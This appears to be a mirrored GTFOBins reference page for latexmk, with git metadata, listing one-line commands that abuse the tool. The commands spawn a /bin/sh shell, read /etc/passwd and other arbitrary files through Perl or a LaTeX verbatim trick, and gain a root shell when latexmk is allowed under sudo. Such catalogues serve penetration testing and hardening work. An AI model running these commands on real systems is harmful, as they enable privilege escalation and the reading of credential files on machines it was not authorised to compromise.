1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/latexmk.md
Andrea Cardaci a91775b84a Fix latexmk
2022-07-03 18:32:09 +02:00

599 B

description functions
This allows to execute [`perl`](/gtfobins/perl/) code.
shell file-read sudo
code
latexmk -e 'exec "/bin/sh";'
code
latexmk -latex='/bin/sh #' /dev/null
code
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
description code
The read file will be part of the output. TF=$(mktemp) echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF strings tmp.dvi
code
sudo latexmk -e 'exec "/bin/sh";'